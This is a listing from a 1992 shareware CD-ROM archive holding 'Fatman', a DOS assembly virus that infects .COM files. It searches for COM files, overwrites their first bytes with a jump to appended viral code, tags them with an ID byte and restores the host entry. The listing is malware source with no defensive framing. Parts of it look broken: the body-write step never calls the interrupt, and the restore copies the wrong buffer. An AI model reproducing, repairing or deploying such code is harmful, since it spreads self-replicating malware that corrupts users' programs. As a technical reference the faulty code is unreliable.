home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ASM-F.ZIP / FATMAN.ASM next >
Assembly Source File  |  1992-09-13  |  3KB  |  82 lines

  1. code    segment'code'
  2. assume  cs:code, ds:code, ss:code, es:code
  3. org     100h
  4. dta             equ     endcode  + 10
  5. fatmanid        equ     34
  6. start:
  7.  
  8.         jmp     virus
  9.         hoststart:
  10.         db      90h,90h,90h             ;NOP
  11.         db      0cdh,020h,1ah,1ah       ;INT 20
  12.         hostend:
  13.         virus:
  14.         call $ + 2
  15. fatman:
  16.         pop     bp                         ;Search for next files
  17.         sub     bp,offset fatman
  18.         mov     ah,1ah
  19.         lea     dx,[bp +dta]
  20.         int     21h
  21.         mov     ah,4eh
  22.         lea     dx,[bp + filespec]
  23.         xor     cx,cx
  24. fileloop:
  25.         int     21h
  26.         jc      quit
  27.         mov     ax,3d02h                   ;Open file read and write
  28.         lea     dx,[bp + offset dta + 30]  ;Move the offset of filename
  29.         int     21h                        ;into dx register
  30.         jc      quit
  31.         xchg    bx,ax
  32.         mov     ah,3fh                     ;read from file
  33.         mov     cx,4                       ;read 4 bytes off file
  34.         lea     dx,[bp + orgjmp]           ;store the 4 bytes
  35.         int     21h
  36.         mov     ax,4202h                   ;point to end of file
  37.         xor     cx,cx
  38.         xor     dx,dx
  39.         int     21h
  40.         sub     ax,03h                     ;Back three bytes from org
  41.         mov     [bp + newjmp + 2], ah      ;high location
  42.         mov     [bp + newjmp + 1], al      ;low location
  43.         mov     [bp + newjmp + 3], fatmanid;his ID
  44.         mov     ah,0e9h                    ;JMP
  45.         mov     [bp + newjmp],ah
  46.         mov     ah,40h                    ;write to file
  47.         mov     cx,endcode - virus
  48.         lea     dx,[bp + virus]
  49.         jc      quit
  50.         mov     ax,4200h                  ;Moving to TOP of file
  51.         xor     cx,cx
  52.         xor     dx,dx
  53.         int     21h
  54.         mov     ah,40h                   ;writing 4 bytes to top of file
  55.         mov     cx,4
  56.         lea     dx,[bp + offset newjmp]
  57.         int     21h
  58.         mov     ah,1ah
  59.         mov     dx,080h
  60.         int     21h
  61.         quit:
  62.         lea     si,[bp + offset thisjmp]
  63.         mov     di,0100h
  64.         mov     cx,04h
  65.         cld
  66.         rep     movsb
  67.         mov     di,0100h
  68.         jmp     di
  69.  
  70.         
  71.  
  72.  
  73.         filespec        db      '*.COM',0
  74.         orgjmp          db      4 dup (?)
  75.         newjmp          db      4 dup (?)
  76.         thisjmp         db      4 dup (?)
  77.         oldjmp          db      09h,0cdh,020h,90h
  78.         endcode:
  79.  
  80.         code    ends
  81.         end     start
  82.